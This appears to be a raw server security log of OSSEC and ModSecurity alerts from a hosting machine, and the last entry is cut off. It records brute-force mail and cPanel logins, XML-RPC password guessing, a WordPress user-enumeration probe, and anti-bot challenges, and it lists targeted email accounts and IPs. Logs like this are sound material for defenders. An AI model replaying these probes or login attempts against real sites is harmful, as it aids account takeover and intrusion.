103.108.92.88 - - [17/Jun/2026:19:19:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 93.174.121.131
country_id: 390903
domain: selithgroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:58935.selithgroup.com||ServerName:selithgroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9c2b4a73f19e7e543e336f523fda3503120571fb||Title:0xe4734314||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.235.31.47
country_id: 6252001
description:
Jun 17 19:22:53 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.235.31.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-06-17 19:22:55 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:40342: 535 Incorrect authentication data (set_id=reseaux@soena.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.205
country_id: 6252001
description:
Jun 17 19:22:37 ns5 pure-ftpd[2214552]: (?@198.235.24.205) [INFO] New connection from 198.235.24.205


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 19:23:31 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.235.31.47
country_id: 6252001
description:
Jun 17 19:24:39 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.235.31.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-06-17 19:24:41 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:40108: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:25:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015145&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781724326 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:25:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196323&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781724325 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.76.254
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.18||T:APACHE||MV:/wp-json/wp/v2/users/1?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:19:28:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645865&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781724487 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.25.29.163
country_id: 2017370
description:
2026-06-17 19:28:00 dovecot_login authenticator failed for H=([128.185.253.122]) [31.25.29.163]:50498: 535 Incorrect authentication data (set_id=dbabima@otr.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:28:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9609107&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781724487 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 19:30:30 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.200.191.248
country_id: 1269750
description:
[2026-06-17 19:33:37 +0000] info [whostmgrd] 35.200.191.248 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 35.200.191.248
country_id: 1269750
description:
[2026-06-17 19:33:40 +0000] info [whostmgrd] 35.200.191.248 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:35:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:35:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:35:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:35:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.214.29.235
country_id: 630336
description:
[2026-06-17 19:35:31 +0000] info [cpaneld] 37.214.29.235 - dkfood "GET /login/?login_only=1&user=dkfood&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfood (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.26.85.200
country_id: 2782113
description:
[2026-06-17 19:35:37 +0000] info [cpaneld] 89.26.85.200 - dkfoo "GET /login/?login_only=1&user=dkfoo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfoo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.65.193.156
country_id: 1643084
description:
[2026-06-17 19:35:40 +0000] info [cpaneld] 179.65.193.156 - dkfo "GET /login/?login_only=1&user=dkfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.13.192.77
country_id: 1210997
description:
[2026-06-17 19:35:35 +0000] info [cpaneld] 103.13.192.77 - dkfoodtg "GET /login/?login_only=1&user=dkfoodtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfoodtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.189.143.4
country_id: 3508796
description:
[2026-06-17 19:35:40 +0000] info [cpaneld] 38.189.143.4 - dkfo "GET /login/?login_only=1&user=dkfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfo (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:37:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9740186&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781725031 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:37:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6709607&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781725030 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.187.159.51
country_id: 1210997
description:
160.187.159.51 - - [17/Jun/2026:19:39:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132172&pdata=https%253A%252F%252Fcpanel.batika.free.netmaster.tg%252F%253Flocale%253Dzh&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781725151 HTTP/2.0" 302 0 cpanel.batika.free.netmaster.tg "https://cpanel.batika.free.netmaster.tg/?locale=zh" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.187.159.51


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 19:38:51 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.107
country_id: 690791
description:
Jun 17 19:39:13 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.107 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.245
country_id: 1643084
description:
[2026-06-17 19:39:32 +0000] info [cpaneld] 185.213.83.245 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.123
country_id: 3469034
description:
Jun 17 19:39:28 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.123 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 178.20.31.131
country_id: 6252001
domain: dany2.mairie.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ae97@dE97.dany2.mairie.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:44:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247215&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781725455 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:19:44:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12818844&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781725457 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 19:45:49 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.155.24.249
country_id: 298795
description:
[2026-06-17 19:47:57 +0000] info [cpaneld] 31.155.24.249 - kfautotg "GET /login/?login_only=1&user=kfautotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfautotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.117.60.66
country_id: 3469034
description:
[2026-06-17 19:48:02 +0000] info [cpaneld] 138.117.60.66 - kfaut "GET /login/?login_only=1&user=kfaut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfaut (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.52.135.206
country_id: 102358
description:
[2026-06-17 19:48:08 +0000] info [cpaneld] 188.52.135.206 - kfa "GET /login/?login_only=1&user=kfa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.55.20.70
country_id: 3686110
description:
[2026-06-17 19:48:05 +0000] info [cpaneld] 181.55.20.70 - kfau "GET /login/?login_only=1&user=kfau&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfau (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.236.76.28
country_id: 3686110
description:
[2026-06-17 19:48:11 +0000] info [cpaneld] 181.236.76.28 - kfa "GET /login/?login_only=1&user=kfa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.230.169
country_id: 3686110
description:
[2026-06-17 19:48:13 +0000] info [cpaneld] 38.156.230.169 - kf "GET /login/?login_only=1&user=kf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.189.39.40
country_id: 3625428
description:
[2026-06-17 19:47:58 +0000] info [cpaneld] 45.189.39.40 - kfautotg "GET /login/?login_only=1&user=kfautotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfautotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.75.125.82
country_id: 3625428
description:
[2026-06-17 19:48:07 +0000] info [cpaneld] 200.75.125.82 - kfau "GET /login/?login_only=1&user=kfau&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kfau (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.114.77.88
country_id: 3895114
description:
[2026-06-17 19:48:10 +0000] info [cpaneld] 191.114.77.88 - kf "GET /login/?login_only=1&user=kf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kf (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:50:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:50:01 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:50:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:50:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.55
country_id: 1269750
description:
Jun 17 19:49:44 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.55 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:19:51:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212014&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781725881 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.220.89.15
country_id: 3469034
description:
2026-06-17 19:52:12 dovecot_plain authenticator failed for H=([10.5.0.2]) [179.220.89.15]:51004: 535 Incorrect authentication data (set_id=newsletter@togointerim.net)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:51:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855852&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781725883 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.231.254.242
country_id: 285570
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1657211501 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.172.131.94
country_id: 3932488
description:
38.172.131.94 - - [17/Jun/2026:19:54:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065766&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcitoyennete-beninoise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726048 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/citoyennete-beninoise/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.7121.1771 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.172.131.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 19:54:08 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.123.201
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/04/telechargement-1.jpg 275w, http:/togodailynews.tg/wp-content/uploads/2024/04/telechargement-1-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 156.229.35.66
country_id: 1149361
description:
2026-06-17 19:55:25 H=([156.229.35.66]) [156.229.35.66]:13533 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.81.100.71
country_id: 3686110
description:
186.81.100.71 - - [17/Jun/2026:19:55:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986963&pdata=https%253A%252F%252Ftdn.tg%252Fauthor%252Faben%252Fpage%252F389%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726125 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/author/aben/page/389/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.5399.1697 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.81.100.71


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 156.229.35.66
country_id: 1149361
description:
2026-06-17 19:57:49 H=([156.229.35.66]) [156.229.35.66]:13534 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:19:58:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645393&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726336 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:19:59:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278312&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781726341 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 201.151.118.216
country_id: 3996063
description:
